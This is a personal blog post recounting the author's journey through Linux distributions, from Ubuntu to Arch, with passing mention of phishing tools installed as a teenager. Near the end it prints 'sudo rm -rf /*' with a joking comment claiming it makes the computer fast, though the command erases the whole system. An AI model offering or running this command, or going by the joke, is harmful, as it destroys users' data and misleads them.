The GNU/Linux Experience

I will refer to GNU/Linux as linux throughout this post.(don’t come at me)

I had my first experience with linux when I was in grade 10, I was using an old laptop (like 6 year old) that my father bought for us. It had Ubuntu on it, which my brother installed. I was interested in ’ethical’ hacking and cybersecurity in general during my school.
So I tinkered around in my laptop and installed bunch of packages like ‘blackeye’,‘zphisher’,’nmap’,‘hping3’ and such. I didn’t even most of the commands that I was entering, I was busy following the youtube tutorial that taught how to do phishing attacks without understanding a thing.
Looking back at it now I realize I was cloning repositories and making the bash files executable.

git clone https://github.com/blah/blah
chmod +x filename

Fast Forward to me joining highschool.
I got a laptop from my brother which had windows on it.
Since it was a laptop my brother was using at first, I wanted to delete unnecessary stuff to make it feel more like mine. I deleted bunch of stuffs and most of them were unnecessary and my brother had backed up all of them, so I could delete them without worrying much.
Some of them were projects my brother had done which he no longer needed. Curiosity striked me regarding the source code of these projects just after I deleted them, now I had to restore these files.

But I couldn’t find the recycle bin anywhere on the Desktop(it was hidden), due to my skill issue at that time and the unfamiliarity with windows I couldn’t restore those files. Now I got frustrated with windows and one of my cousin suggested that I use Manjaro, an arch based distro which had support for nvidia.

So I borrowed a flash drive from a friend and after making it bootable I booted a linux distro by myself for the first time. I installed it and started using it as my daily driver.

Since I had recently joined highschool I started flexing on my friends, about me using Manjaro, I didn’t know anything about the linux environment, window managers, the linux filesystem.
I just wanted to flex and feel superior amongst them. I got humbled real quick after my Manjaro broke and I didn’t know what to do to fix it, and I still don’t remember how I fixed it. But I remember how amazing it felt fixing stuff from the terminal.

After using Manjaro for months I switched to Fedora, because my cousin suggested it. I installed Fedora 36 gnome edition on my laptop. I used it for months, I learned about different Desktop Environments, Gnome shell extensions and a little bit about ricing.

Then I switched to pop_os, I absolutely loved the Cosmic desktop environment, but I switched from it again because of an issue with suspend which I later found out was caused by Nvidia(nvidia moment).

I found out about ventoy around that time, so I flashed bunch of distros on my USB drive and started distro hopping.
Garuda, Open SUSE, Void Linux, MX Linux, Linux Mint and such.

Fast Forward present moment.
I settled for Arch Linux(btw), I’ve been using it for about 1.5yrs I learned a lot from this distro, I realized how much there is to learn about the Linux environment, I met awesome like-minded people throughout my journey.

sudo rm -rf /* //to make computer fast

I give credit to my brothers for introducing me to Linux. I am still learning new things daily and have been thinking of learning windows too, so that I can restore deleted files lol.
I will dual-boot (obviously).